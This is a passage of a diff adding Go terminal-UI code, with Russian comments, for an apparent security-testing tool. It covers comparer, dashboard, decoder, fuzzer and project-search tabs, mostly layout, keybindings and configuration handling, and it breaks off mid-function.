||||
m.right.Focus()
|
||||
}
|
||||
return m, nil
|
||||
case "ctrl+d":
|
||||
m.runDiff()
|
||||
return m, nil
|
||||
}
|
||||
}
|
||||
|
||||
var cmd tea.Cmd
|
||||
switch m.focus {
|
||||
case 0:
|
||||
m.left, cmd = m.left.Update(msg)
|
||||
case 1:
|
||||
m.right, cmd = m.right.Update(msg)
|
||||
case 2:
|
||||
m.diff, cmd = m.diff.Update(msg)
|
||||
}
|
||||
return m, cmd
|
||||
}
|
||||
|
||||
func (m *comparerModel) runDiff() {
|
||||
chunks := comparer.Diff(m.left.Value(), m.right.Value())
|
||||
m.diff.SetContent(renderDiffChunks(chunks))
|
||||
}
|
||||
|
||||
// renderDiffChunks размечает удалённые куски как [-...-], добавленные
|
||||
// как [+...+], а совпадающие оставляет как есть — инлайновая разметка
|
||||
// вместо честных двух колонок, потому что ширина терминала на мобильном
|
||||
// экране редко позволяет разместить полноценный side-by-side diff.
|
||||
func renderDiffChunks(chunks []comparer.Chunk) string {
|
||||
var b strings.Builder
|
||||
for _, c := range chunks {
|
||||
switch c.Op {
|
||||
case comparer.OpEqual:
|
||||
b.WriteString(c.Text)
|
||||
case comparer.OpDelete:
|
||||
b.WriteString("[-" + c.Text + "-]")
|
||||
case comparer.OpInsert:
|
||||
b.WriteString("[+" + c.Text + "+]")
|
||||
}
|
||||
}
|
||||
return b.String()
|
||||
}
|
||||
|
||||
// View рисует A и B рядом (side by side), а не друг под другом — именно
|
||||
// так и предполагает SetSize (делит ширину пополам через halfWidth).
|
||||
// Раньше здесь было "A\n[поле]\n\nB\n[поле]", то есть друг под другом —
|
||||
// это удваивало реальную высоту относительно того, что SetSize
|
||||
// закладывал в diff.Height, и Comparer стабильно вылезал за экран
|
||||
// независимо от общего бюджета высоты, который передаёт model.go.
|
||||
func (m comparerModel) View() string {
|
||||
focusMark := func(i int) string {
|
||||
if m.focus == i {
|
||||
return "▸ "
|
||||
}
|
||||
return " "
|
||||
}
|
||||
|
||||
leftBlock := focusMark(0) + "A\n" + m.left.View()
|
||||
rightBlock := focusMark(1) + "B\n" + m.right.View()
|
||||
row := lipgloss.JoinHorizontal(lipgloss.Top, leftBlock, " ", rightBlock)
|
||||
|
||||
var b strings.Builder
|
||||
b.WriteString(row)
|
||||
b.WriteString("\n\n")
|
||||
b.WriteString(focusMark(2) + "Diff ([-удалено-] / [+добавлено+])\n")
|
||||
b.WriteString(m.diff.View())
|
||||
b.WriteString("\n\ntab — между полями · ctrl+d — сравнить\n")
|
||||
b.WriteString("f1-f12, pgup — вкладки\n")
|
||||
return b.String()
|
||||
}
|
||||
55
internal/tui/dashboardview.go
Normal file
55
internal/tui/dashboardview.go
Normal file
|
|
@ -0,0 +1,55 @@
|
|||
package tui
|
||||
|
||||
import (
|
||||
"github.com/charmbracelet/bubbles/viewport"
|
||||
tea "github.com/charmbracelet/bubbletea"
|
||||
)
|
||||
|
||||
// dashboardModel — вкладка Dashboard. Сама по себе не знает ни про
|
||||
// атаки, ни про прокси, ни про краулинг — это намеренно: сбор метрики
|
||||
// требует доступа к m.attacks/m.proxyView/m.spiderView корневой Model,
|
||||
// поэтому рендер содержимого живёт в Model.renderDashboard (model.go),
|
||||
// а dashboardModel — просто прокручиваемая витрина для готовой строки.
|
||||
type dashboardModel struct {
|
||||
viewport viewport.Model
|
||||
}
|
||||
|
||||
func newDashboardView() dashboardModel {
|
||||
return dashboardModel{viewport: viewport.New(0, 0)}
|
||||
}
|
||||
|
||||
func (m *dashboardModel) SetSize(width, height int) {
|
||||
if width < 0 {
|
||||
width = 0
|
||||
}
|
||||
if height < 0 {
|
||||
height = 0
|
||||
}
|
||||
m.viewport.Width = width
|
||||
// 3 строки футера, которые View() добавляет сам: пустая строка +
|
||||
// две строки подсказки (теперь гарантированно на двух строках, не
|
||||
// на одной — см. комментарий у View()). Раньше здесь не вычиталось
|
||||
// вообще ничего (тот же класс бага, что был у Proxy) — "работало"
|
||||
// только по случайному совпадению с тем, что снаружи model.go
|
||||
// передавал заведомо урезанную высоту.
|
||||
vh := height - 3
|
||||
if vh < 3 {
|
||||
vh = 3
|
||||
}
|
||||
m.viewport.Height = vh
|
||||
}
|
||||
|
||||
// SetContent обновляет отображаемый текст — вызывается из Model по тикеру.
|
||||
func (m *dashboardModel) SetContent(s string) {
|
||||
m.viewport.SetContent(s)
|
||||
}
|
||||
|
||||
func (m dashboardModel) Update(msg tea.Msg) (dashboardModel, tea.Cmd) {
|
||||
var cmd tea.Cmd
|
||||
m.viewport, cmd = m.viewport.Update(msg)
|
||||
return m, cmd
|
||||
}
|
||||
|
||||
func (m dashboardModel) View() string {
|
||||
return m.viewport.View() + "\n\n↑/↓ — прокрутка · обновляется раз в секунду\nf1-f12, pgup — вкладки\n"
|
||||
}
|
||||
191
internal/tui/decoderview.go
Normal file
191
internal/tui/decoderview.go
Normal file
|
|
@ -0,0 +1,191 @@
|
|||
package tui
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/charmbracelet/bubbles/textarea"
|
||||
"github.com/charmbracelet/bubbles/viewport"
|
||||
tea "github.com/charmbracelet/bubbletea"
|
||||
|
||||
"github.com/r3g1tpr0cs/burterm/internal/decoder"
|
||||
)
|
||||
|
||||
// decoderModel — вкладка Decoder: вход + выход, набор кодировок за
|
||||
// ctrl-хоткеями (работают независимо от того, в каком поле курсор —
|
||||
// как и остальные ctrl-комбинации в приложении, они не печатаются как
|
||||
// текст, поэтому их можно ловить прямо поверх textarea.Update) и тумблер
|
||||
// направления encode/decode.
|
||||
type decoderModel struct {
|
||||
input textarea.Model
|
||||
output viewport.Model
|
||||
|
||||
encode bool // true — кодировать, false — декодировать (для MD5 неприменимо)
|
||||
lastOp string
|
||||
errMsg string
|
||||
|
||||
focus int // 0 — вход, 1 — выход (скролл)
|
||||
}
|
||||
|
||||
func newDecoderView() decoderModel {
|
||||
ta := textarea.New()
|
||||
ta.Placeholder = "Вставь текст для кодирования/декодирования"
|
||||
ta.Focus()
|
||||
|
||||
return decoderModel{
|
||||
input: ta,
|
||||
output: viewport.New(0, 0),
|
||||
encode: true,
|
||||
}
|
||||
}
|
||||
|
||||
func (m *decoderModel) SetSize(width, height int) {
|
||||
if width < 0 {
|
||||
width = 0
|
||||
}
|
||||
if height < 0 {
|
||||
height = 0
|
||||
}
|
||||
inHeight := height / 2
|
||||
|
||||
m.input.SetWidth(width)
|
||||
m.input.SetHeight(inHeight)
|
||||
m.output.Width = width
|
||||
// 8 фиксированных строк вокруг output-viewport (построчный подсчёт по
|
||||
// View(): "Вход"-метка 1, разделитель 1, строка статуса 1,
|
||||
// разделитель+"Выход"-метка 2, разделитель+футер(две строки) 3 — итого
|
||||
// 8). Раньше здесь стояло -4 — не совпадало с тем, что реально рисует
|
||||
// View(), причём задолго до того, как футер стал двухстрочным: это
|
||||
// самостоятельная, отдельная от разбиения футера ошибка в подсчёте.
|
||||
m.output.Height = height - inHeight - 8
|
||||
}
|
||||
|
||||
func (m decoderModel) Update(msg tea.Msg) (decoderModel, tea.Cmd) {
|
||||
if key, ok := msg.(tea.KeyMsg); ok {
|
||||
switch key.String() {
|
||||
case "tab":
|
||||
m.focus = (m.focus + 1) % 2
|
||||
if m.focus == 0 {
|
||||
m.input.Focus()
|
||||
} else {
|
||||
m.input.Blur()
|
||||
}
|
||||
return m, nil
|
||||
case "ctrl+z":
|
||||
m.encode = !m.encode
|
||||
return m, nil
|
||||
case "ctrl+u":
|
||||
m.apply("URL", func(s string) (string, error) {
|
||||
if m.encode {
|
||||
return decoder.URLEncode(s), nil
|
||||
}
|
||||
return decoder.URLDecode(s)
|
||||
})
|
||||
return m, nil
|
||||
case "ctrl+b":
|
||||
m.apply("Base64", func(s string) (string, error) {
|
||||
if m.encode {
|
||||
return decoder.Base64Encode(s), nil
|
||||
}
|
||||
return decoder.Base64Decode(s)
|
||||
})
|
||||
return m, nil
|
||||
case "ctrl+e":
|
||||
m.apply("HTML", func(s string) (string, error) {
|
||||
if m.encode {
|
||||
return decoder.HTMLEncode(s), nil
|
||||
}
|
||||
return decoder.HTMLDecode(s), nil
|
||||
})
|
||||
return m, nil
|
||||
case "ctrl+x":
|
||||
m.apply("Hex", func(s string) (string, error) {
|
||||
if m.encode {
|
||||
return decoder.HexEncode(s), nil
|
||||
}
|
||||
return decoder.HexDecode(s)
|
||||
})
|
||||
return m, nil
|
||||
case "ctrl+k":
|
||||
m.errMsg = ""
|
||||
m.lastOp = "MD5"
|
||||
m.output.SetContent(decoder.MD5Hash(m.input.Value()))
|
||||
return m, nil
|
||||
case "ctrl+a":
|
||||
m.autoDecode()
|
||||
return m, nil
|
||||
}
|
||||
}
|
||||
|
||||
var cmd tea.Cmd
|
||||
if m.focus == 0 {
|
||||
m.input, cmd = m.input.Update(msg)
|
||||
} else {
|
||||
m.output, cmd = m.output.Update(msg)
|
||||
}
|
||||
return m, cmd
|
||||
}
|
||||
|
||||
func (m *decoderModel) apply(name string, fn func(string) (string, error)) {
|
||||
out, err := fn(m.input.Value())
|
||||
if err != nil {
|
||||
m.errMsg = fmt.Sprintf("%s: %v", name, err)
|
||||
return
|
||||
}
|
||||
m.errMsg = ""
|
||||
dir := "encode"
|
||||
if !m.encode {
|
||||
dir = "decode"
|
||||
}
|
||||
m.lastOp = name + " " + dir
|
||||
m.output.SetContent(out)
|
||||
}
|
||||
|
||||
func (m *decoderModel) autoDecode() {
|
||||
steps := decoder.SmartDecode(m.input.Value())
|
||||
if len(steps) == 0 {
|
||||
m.errMsg = "не удалось распознать ни одной известной кодировки"
|
||||
return
|
||||
}
|
||||
m.errMsg = ""
|
||||
var b strings.Builder
|
||||
for i, s := range steps {
|
||||
b.WriteString(fmt.Sprintf("[%d] %s:\n%s\n\n", i+1, s.Operation, s.Result))
|
||||
}
|
||||
m.lastOp = fmt.Sprintf("авто-цепочка (%d шаг(ов))", len(steps))
|
||||
m.output.SetContent(b.String())
|
||||
}
|
||||
|
||||
func (m decoderModel) View() string {
|
||||
focusMark := func(i int) string {
|
||||
if m.focus == i {
|
||||
return "▸ "
|
||||
}
|
||||
return " "
|
||||
}
|
||||
|
||||
dir := "encode"
|
||||
if !m.encode {
|
||||
dir = "decode"
|
||||
}
|
||||
|
||||
var b strings.Builder
|
||||
b.WriteString(focusMark(0) + "Вход\n")
|
||||
b.WriteString(m.input.View())
|
||||
b.WriteString("\n\n")
|
||||
|
||||
status := fmt.Sprintf("Направление: %s (ctrl+z)", dir)
|
||||
if m.lastOp != "" {
|
||||
status += " · последняя операция: " + m.lastOp
|
||||
}
|
||||
b.WriteString(status + "\n")
|
||||
if m.errMsg != "" {
|
||||
b.WriteString("Ошибка: " + m.errMsg + "\n")
|
||||
}
|
||||
|
||||
b.WriteString("\n" + focusMark(1) + "Выход\n")
|
||||
b.WriteString(m.output.View())
|
||||
b.WriteString("\n\nctrl+u URL · ctrl+b Base64 · ctrl+e HTML · ctrl+x Hex · ctrl+k MD5 · ctrl+a авто-цепочка\n")
|
||||
b.WriteString("f1-f12, pgup — вкладки\n")
|
||||
return b.String()
|
||||
}
|
||||
335
internal/tui/fuzzerview.go
Normal file
335
internal/tui/fuzzerview.go
Normal file
|
|
@ -0,0 +1,335 @@
|
|||
package tui
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/charmbracelet/bubbles/spinner"
|
||||
"github.com/charmbracelet/bubbles/textinput"
|
||||
"github.com/charmbracelet/bubbles/viewport"
|
||||
tea "github.com/charmbracelet/bubbletea"
|
||||
|
||||
"github.com/r3g1tpr0cs/burterm/internal/fuzzer"
|
||||
)
|
||||
|
||||
// fuzzerModel — вкладка Fuzzer: путь к целевому бинарнику, аргументы
|
||||
// (с плейсхолдером "@@" — заменяется на файл с мутированным вводом,
|
||||
// это отдельный от Intruder-маркеров §...§ синтаксис), seed-файлы, число
|
||||
// воркеров и таймаут на запуск. Живой лог крашей пополняется по мере
|
||||
// поступления; у фаззинга, как и у краулинга, нет заранее известного
|
||||
// "total" — вместо процента честный спиннер + счётчик execs/сек.
|
||||
type fuzzerModel struct {
|
||||
targetInput textinput.Model
|
||||
argsInput textinput.Model
|
||||
seedsInput textinput.Model
|
||||
workersInput textinput.Model
|
||||
timeoutInput textinput.Model
|
||||
useStdin bool
|
||||
|
||||
viewport viewport.Model
|
||||
spinner spinner.Model
|
||||
|
||||
running bool
|
||||
startedAt time.Time
|
||||
execs int64
|
||||
crashes int
|
||||
crashDir string
|
||||
lines []string
|
||||
errMsg string
|
||||
statusMsg string
|
||||
|
||||
focus int // 0 target, 1 args, 2 seeds, 3 workers, 4 timeout, 5 viewport
|
||||
}
|
||||
|
||||
func newFuzzerView() fuzzerModel {
|
||||
target := textinput.New()
|
||||
target.Placeholder = "/путь/к/цели"
|
||||
target.CharLimit = 512
|
||||
target.Focus()
|
||||
|
||||
args := textinput.New()
|
||||
args.Placeholder = "@@ — заменяется на файл с мутированным вводом (ctrl+i — вместо этого через stdin)"
|
||||
args.CharLimit = 512
|
||||
|
||||
seeds := textinput.New()
|
||||
seeds.Placeholder = "seed1.bin,seed2.bin — через запятую"
|
||||
seeds.CharLimit = 1024
|
||||
|
||||
workers := textinput.New()
|
||||
workers.Placeholder = "4"
|
||||
workers.CharLimit = 4
|
||||
|
||||
timeout := textinput.New()
|
||||
timeout.Placeholder = "2"
|
||||
timeout.CharLimit = 4
|
||||
|
||||
sp := spinner.New()
|
||||
sp.Spinner = spinner.Dot
|
||||
|
||||
return fuzzerModel{
|
||||
targetInput: target,
|
||||
argsInput: args,
|
||||
seedsInput: seeds,
|
||||
workersInput: workers,
|
||||
timeoutInput: timeout,
|
||||
viewport: viewport.New(0, 0),
|
||||
spinner: sp,
|
||||
}
|
||||
}
|
||||
|
||||
func (m *fuzzerModel) SetSize(width, height int) {
|
||||
if width < 0 {
|
||||
width = 0
|
||||
}
|
||||
if height < 0 {
|
||||
height = 0
|
||||
}
|
||||
m.viewport.Width = width
|
||||
// 20 фиксированных строк вокруг viewport (построчный подсчёт по
|
||||
// View(): 5 полей × (метка+поле+разделитель) = 15, плюс разделитель
|
||||
// перед статусом (1), строка статуса (1), разделитель перед viewport
|
||||
// (1), разделитель+футер(две строки) (3) — итого 20. Раньше стояло
|
||||
// -12 — критически недосчитано с самого начала, безотносительно
|
||||
// разбиения футера. Оговорка: это минимум для "чистого" состояния —
|
||||
// если показаны ещё и "Краши сохраняются в:"/ошибка/статус (обычное
|
||||
// дело после первого запуска), реальная высота на 1-3 строки больше
|
||||
// этого минимума.
|
||||
vh := height - 20
|
||||
if vh < 3 {
|
||||
vh = 3
|
||||
}
|
||||
m.viewport.Height = vh
|
||||
}
|
||||
|
||||
// Reset очищает лог крашей и счётчики перед новым запуском.
|
||||
func (m *fuzzerModel) Reset() {
|
||||
m.lines = nil
|
||||
m.crashes = 0
|
||||
m.execs = 0
|
||||
m.running = true
|
||||
m.startedAt = time.Now()
|
||||
m.viewport.SetContent("")
|
||||
}
|
||||
|
||||
func (m *fuzzerModel) Finish() {
|
||||
m.running = false
|
||||
}
|
||||
|
||||
// AddCrash дописывает находку в лог.
|
||||
func (m *fuzzerModel) AddCrash(c fuzzer.Crash) {
|
||||
m.crashes++
|
||||
var b strings.Builder
|
||||
b.WriteString(fmt.Sprintf("#%-3d %-10s %s\n", m.crashes, c.Signal, c.Path))
|
||||
if c.Stderr != "" {
|
||||
b.WriteString(" stderr: " + firstLine(c.Stderr) + "\n")
|
||||
}
|
||||
m.lines = append(m.lines, b.String())
|
||||
m.viewport.SetContent(strings.Join(m.lines, "\n"))
|
||||
m.viewport.GotoBottom()
|
||||
}
|
||||
|
||||
func firstLine(s string) string {
|
||||
if idx := strings.IndexByte(s, '\n'); idx >= 0 {
|
||||
return s[:idx]
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
func (m fuzzerModel) Update(msg tea.Msg) (fuzzerModel, tea.Cmd) {
|
||||
if key, ok := msg.(tea.KeyMsg); ok {
|
||||
switch key.String() {
|
||||
case "tab":
|
||||
m.focus = (m.focus + 1) % 6
|
||||
m.targetInput.Blur()
|
||||
m.argsInput.Blur()
|
||||
m.seedsInput.Blur()
|
||||
m.workersInput.Blur()
|
||||
m.timeoutInput.Blur()
|
||||
switch m.focus {
|
||||
case 0:
|
||||
m.targetInput.Focus()
|
||||
case 1:
|
||||
m.argsInput.Focus()
|
||||
case 2:
|
||||
m.seedsInput.Focus()
|
||||
case 3:
|
||||
m.workersInput.Focus()
|
||||
case 4:
|
||||
m.timeoutInput.Focus()
|
||||
}
|
||||
return m, nil
|
||||
case "ctrl+i":
|
||||
m.useStdin = !m.useStdin
|
||||
return m, nil
|
||||
case "ctrl+r":
|
||||
if m.running {
|
||||
// Фаззер уже идёт — второй запуск игнорируем, как и в Spider:
|
||||
// параллельный прогон по тому же корпусу не даёт пользы,
|
||||
// только путает счётчики execs/крашей.
|
||||
return m, nil
|
||||
}
|
||||
m.errMsg = ""
|
||||
return m, m.startCmd()
|
||||
}
|
||||
}
|
||||
|
||||
var fieldCmd tea.Cmd
|
||||
switch m.focus {
|
||||
case 0:
|
||||
m.targetInput, fieldCmd = m.targetInput.Update(msg)
|
||||
case 1:
|
||||
m.argsInput, fieldCmd = m.argsInput.Update(msg)
|
||||
case 2:
|
||||
m.seedsInput, fieldCmd = m.seedsInput.Update(msg)
|
||||
case 3:
|
||||
m.workersInput, fieldCmd = m.workersInput.Update(msg)
|
||||
case 4:
|
||||
m.timeoutInput, fieldCmd = m.timeoutInput.Update(msg)
|
||||
}
|
||||
|
||||
var vpCmd tea.Cmd
|
||||
m.viewport, vpCmd = m.viewport.Update(msg)
|
||||
|
||||
return m, tea.Batch(fieldCmd, vpCmd)
|
||||
}
|
||||
|
||||
// startCmd валидирует конфигурацию, грузит seed-файлы и запускает
|
||||
// fuzzer.Fuzzer. Директория для крашей создаётся автоматически под
|
||||
// ~/.burterm/fuzz-crashes/<unix-время>/ — не нужно отдельное поле
|
||||
// ввода ради этого.
|
||||
func (m fuzzerModel) startCmd() tea.Cmd {
|
||||
target := strings.TrimSpace(m.targetInput.Value())
|
||||
argsRaw := strings.TrimSpace(m.argsInput.Value())
|
||||
seedsRaw := strings.TrimSpace(m.seedsInput.Value())
|
||||
useStdin := m.useStdin
|
||||
workersStr := m.workersInput.Value()
|
||||
timeoutStr := m.timeoutInput.Value()
|
||||
|
||||
return func() tea.Msg {
|
||||
if target == "" {
|
||||
return fuzzErrMsg{fmt.Errorf("укажи путь к целевому исполняемому файлу")}
|
||||
}
|
||||
if seedsRaw == "" {
|
||||
return fuzzErrMsg{fmt.Errorf("укажи хотя бы один seed-файл")}
|
||||
}
|
||||
|
||||
var args []string
|
||||
if argsRaw != "" {
|
||||
args = strings.Fields(argsRaw)
|
||||
}
|
||||
|
||||
seedPaths := strings.Split(seedsRaw, ",")
|
||||
for i := range seedPaths {
|
||||
seedPaths[i] = strings.TrimSpace(seedPaths[i])
|
||||
}
|
||||
seeds, err := fuzzer.LoadSeeds(seedPaths)
|
||||
if err != nil {
|
||||
return fuzzErrMsg{err}
|
||||
}
|
||||
|
||||
workers, _ := strconv.Atoi(workersStr)
|
||||
if workers <= 0 {
|
||||
workers = 4
|
||||
}
|
||||
timeoutSec, _ := strconv.Atoi(timeoutStr)
|
||||
if timeoutSec <= 0 {
|
||||
timeoutSec = 2
|
||||
}
|
||||
|
||||
crashDir, err := defaultFuzzCrashDir()
|
||||
if err != nil {
|
||||
return fuzzErrMsg{err}
|
||||
}
|
||||
|
||||
f, err := fuzzer.New(fuzzer.Config{
|
||||
Target: target,
|
||||
Args: args,
|
||||
UseStdin: useStdin,
|
||||
Timeout: time.Duration(timeoutSec) * time.Second,
|
||||
Workers: workers,
|
||||
CrashDir: crashDir,
|
||||
}, seeds)
|
||||
if err != nil {
|
||||
return fuzzErrMsg{err}
|
||||
}
|
||||
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
ch := f.Run(ctx)
|
||||
return fuzzStartedMsg{ch: ch, cancel: cancel, crashDir: crashDir}
|
||||
}
|
||||
}
|
||||
|
||||
func defaultFuzzCrashDir() (string, error) {
|
||||
home, err := os.UserHomeDir()
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("не удалось определить домашнюю директорию: %w", err)
|
||||
}
|
||||
dir := filepath.Join(home, ".burterm", "fuzz-crashes", fmt.Sprintf("%d", time.Now().Unix()))
|
||||
if err := os.MkdirAll(dir, 0o700); err != nil {
|
||||
return "", fmt.Errorf("не удалось создать %s: %w", dir, err)
|
||||
}
|
||||
return dir, nil
|
||||
}
|
||||
|
||||
func (m fuzzerModel) View() string {
|
||||
focusMark := func(i int) string {
|
||||
if m.focus == i {
|
||||
return "▸ "
|
||||
}
|
||||
return " "
|
||||
}
|
||||
|
||||
var b strings.Builder
|
||||
b.WriteString(focusMark(0) + "Цель\n")
|
||||
b.WriteString(m.targetInput.View())
|
||||
b.WriteString("\n")
|
||||
b.WriteString(focusMark(1) + fmt.Sprintf("Аргументы (ввод: %s, ctrl+i — переключить)\n", inputModeLabel(m.useStdin)))
|
||||
b.WriteString(m.argsInput.View())
|
||||
b.WriteString("\n")
|
||||
b.WriteString(focusMark(2) + "Seed-файлы\n")
|
||||
b.WriteString(m.seedsInput.View())
|
||||
b.WriteString("\n")
|
||||
b.WriteString(focusMark(3) + "Воркеры\n")
|
||||
b.WriteString(m.workersInput.View())
|
||||
b.WriteString("\n")
|
||||
b.WriteString(focusMark(4) + "Таймаут, с\n")
|
||||
b.WriteString(m.timeoutInput.View())
|
||||
b.WriteString("\n\n")
|
||||
|
||||
status := "готов"
|
||||
if m.running {
|
||||
elapsed := time.Since(m.startedAt)
|
||||
rate := 0.0
|
||||
if elapsed.Seconds() > 0 {
|
||||
rate = float64(m.execs) / elapsed.Seconds()
|
||||
}
|
||||
status = fmt.Sprintf("%s фаззинг… execs: %d (%.0f/с) · крашей: %d (esc — остановить)", m.spinner.View(), m.execs, rate, m.crashes)
|
||||
}
|
||||
b.WriteString(fmt.Sprintf("Статус: %s\n", status))
|
||||
if m.crashDir != "" {
|
||||
b.WriteString("Краши сохраняются в: " + m.crashDir + "\n")
|
||||
}
|
||||
if m.errMsg != "" {
|
||||
b.WriteString("Ошибка: " + m.errMsg + "\n")
|
||||
}
|
||||
if m.statusMsg != "" {
|
||||
b.WriteString(m.statusMsg + "\n")
|
||||
}
|
||||
|
||||
b.WriteString("\n" + focusMark(5) + m.viewport.View())
|
||||
b.WriteString("\n\ntab — между полями · ctrl+r — запустить · ctrl+i — файл/stdin · ctrl+c — выход\n")
|
||||
b.WriteString("f1-f12, pgup — вкладки\n")
|
||||
return b.String()
|
||||
}
|
||||
|
||||
func inputModeLabel(useStdin bool) string {
|
||||
if useStdin {
|
||||
return "stdin"
|
||||
}
|
||||
return "файл (@@)"
|
||||
}
|
||||
1413
internal/tui/model.go
Normal file
1413
internal/tui/model.go
Normal file
File diff suppressed because it is too large
Load diff
285
internal/tui/projectview.go
Normal file
285
internal/tui/projectview.go
Normal file
|
|
@ -0,0 +1,285 @@
|
|||
package tui
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/charmbracelet/bubbles/textinput"
|
||||
"github.com/charmbracelet/bubbles/viewport"
|
||||
tea "github.com/charmbracelet/bubbletea"
|
||||
|
||||
"github.com/r3g1tpr0cs/burterm/internal/project"
|
||||
)
|
||||
|
||||
// projectModel — вкладка Project: путь к файлу проекта (SQLite),
|
||||
// поисковая строка в мини-языке (host:/method:/status:/color:/minlen:/
|
||||
// maxlen: + свободный текст для FTS), список результатов с цветовыми
|
||||
// метками. store хранится и здесь, и на корневой Model (m.projectStore)
|
||||
// — небольшое дублирование указателя ради того, чтобы вкладка сама
|
||||
// могла строить свои команды (поиск/цвет/удаление), не прокидывая
|
||||
// store через каждое сообщение.
|
||||
type projectModel struct {
|
||||
store *project.Store
|
||||
path string
|
||||
|
||||
pathInput textinput.Model
|
||||
queryInput textinput.Model
|
||||
|
||||
results []project.Record
|
||||
cursor int
|
||||
viewport viewport.Model
|
||||
|
||||
errMsg string
|
||||
statusMsg string
|
||||
|
||||
focus int // 0 — путь, 1 — поисковый запрос, 2 — список результатов
|
||||
}
|
||||
|
||||
func newProjectView() projectModel {
|
||||
pathIn := textinput.New()
|
||||
pathIn.Placeholder = "~/.burterm/projects/target.db"
|
||||
pathIn.CharLimit = 512
|
||||
pathIn.Focus()
|
||||
|
||||
queryIn := textinput.New()
|
||||
queryIn.Placeholder = "host:example.com method:POST status:200-299 color:red текст для полнотекстового поиска"
|
||||
queryIn.CharLimit = 512
|
||||
|
||||
return projectModel{
|
||||
pathInput: pathIn,
|
||||
queryInput: queryIn,
|
||||
viewport: viewport.New(0, 0),
|
||||
}
|
||||
}
|
||||
|
||||
func (m *projectModel) SetSize(width, height int) {
|
||||
if width < 0 {
|
||||
width = 0
|
||||
}
|
||||
if height < 0 {
|
||||
height = 0
|
||||
}
|
||||
m.viewport.Width = width
|
||||
// 11 фиксированных строк (построчный подсчёт: метка+поле+разделитель
|
||||
// на "Файл проекта" (3) и на "Поиск" (3), блок "Найдено: N"+пустая
|
||||
// (2), разделитель+футер(две строки) (3) — итого 11). Раньше стояло
|
||||
// -8 — недосчитано с самого начала, безотносительно разбиения
|
||||
// футера. Оговорка: минимум для состояния без ошибки/statusMsg —
|
||||
// с ними на 1-2 строки больше.
|
||||
vh := height - 11
|
||||
if vh < 3 {
|
||||
vh = 3
|
||||
}
|
||||
m.viewport.Height = vh
|
||||
}
|
||||
|
||||
// refreshList перерисовывает viewport из m.results — вызывается после
|
||||
// любого изменения списка (поиск, смена метки, удаление).
|
||||
func (m *projectModel) refreshList() {
|
||||
if len(m.results) == 0 {
|
||||
m.viewport.SetContent("Пусто. Проверь запрос или сохрани что-нибудь в проект.")
|
||||
return
|
||||
}
|
||||
var b strings.Builder
|
||||
for i, r := range m.results {
|
||||
marker := " "
|
||||
if m.focus == 2 && i == m.cursor {
|
||||
marker = "▸ "
|
||||
}
|
||||
colorText := colorLabelStyle(r.ColorLabel).Render(fmt.Sprintf("%-6s", colorName(r.ColorLabel)))
|
||||
b.WriteString(fmt.Sprintf("%s#%-5d %-6s %-4d %s %-6s %s\n", marker, r.ID, r.Method, r.Status, colorText, humanBytes(uint64(max64(r.ContentLength, 0))), r.URL))
|
||||
}
|
||||
m.viewport.SetContent(b.String())
|
||||
}
|
||||
|
||||
func colorName(c project.ColorLabel) string {
|
||||
if c == "" {
|
||||
return "-"
|
||||
}
|
||||
return string(c)
|
||||
}
|
||||
|
||||
func max64(a, b int64) int64 {
|
||||
if a > b {
|
||||
return a
|
||||
}
|
||||
return b
|
||||
}
|
||||
|
||||
func (m projectModel) Update(msg tea.Msg) (projectModel, tea.Cmd) {
|
||||
if key, ok := msg.(tea.KeyMsg); ok {
|
||||
switch key.String() {
|
||||
case "tab":
|
||||
m.focus = (m.focus + 1) % 3
|
||||
m.pathInput.Blur()
|
||||
m.queryInput.Blur()
|
||||
switch m.focus {
|
||||
case 0:
|
||||
m.pathInput.Focus()
|
||||
case 1:
|
||||
m.queryInput.Focus()
|
||||
}
|
||||
m.refreshList()
|
||||
return m, nil
|
||||
case "ctrl+o":
|
||||
m.errMsg = ""
|
||||
m.statusMsg = ""
|
||||
return m, m.openCmd()
|
||||
case "enter":
|
||||
switch m.focus {
|
||||
case 1:
|
||||
m.errMsg = ""
|
||||
return m, m.searchCmd()
|
||||
case 2:
|
||||
if m.cursor >= 0 && m.cursor < len(m.results) {
|
||||
rec := m.results[m.cursor]
|
||||
return m, func() tea.Msg { return projectLoadMsg{record: rec, target: targetBuilder} }
|
||||
}
|
||||
}
|
||||
return m, nil
|
||||
case "up":
|
||||
if m.focus == 2 && m.cursor > 0 {
|
||||
m.cursor--
|
||||
m.refreshList()
|
||||
return m, nil
|
||||
}
|
||||
case "down":
|
||||
if m.focus == 2 && m.cursor < len(m.results)-1 {
|
||||
m.cursor++
|
||||
m.refreshList()
|
||||
return m, nil
|
||||
}
|
||||
case "s":
|
||||
if m.focus == 2 && m.cursor < len(m.results) {
|
||||
rec := m.results[m.cursor]
|
||||
return m, func() tea.Msg { return projectLoadMsg{record: rec, target: targetRepeater} }
|
||||
}
|
||||
case "c":
|
||||
if m.focus == 2 {
|
||||
return m, m.cycleColorCmd()
|
||||
}
|
||||
case "d":
|
||||
if m.focus == 2 {
|
||||
return m, m.deleteCmd()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
var cmd tea.Cmd
|
||||
switch m.focus {
|
||||
case 0:
|
||||
m.pathInput, cmd = m.pathInput.Update(msg)
|
||||
case 1:
|
||||
m.queryInput, cmd = m.queryInput.Update(msg)
|
||||
case 2:
|
||||
m.viewport, cmd = m.viewport.Update(msg)
|
||||
}
|
||||
return m, cmd
|
||||
}
|
||||
|
||||
// openCmd (ctrl+o) открывает или создаёт файл проекта по пути из pathInput.
|
||||
// Заодно запоминает path как последний открытый проект (project.SaveLastPath)
|
||||
// — при следующем запуске TUI сам его подхватит. Ошибку сохранения пути
|
||||
// намеренно не считаем фатальной для самого открытия: то, что не удалось
|
||||
// запомнить "последний проект" на будущее, не должно мешать работать
|
||||
// с уже успешно открытым файлом прямо сейчас.
|
||||
func (m projectModel) openCmd() tea.Cmd {
|
||||
path := strings.TrimSpace(m.pathInput.Value())
|
||||
return func() tea.Msg {
|
||||
if path == "" {
|
||||
return projectErrMsg{fmt.Errorf("укажи путь к файлу проекта")}
|
||||
}
|
||||
store, err := project.Open(path)
|
||||
if err != nil {
|
||||
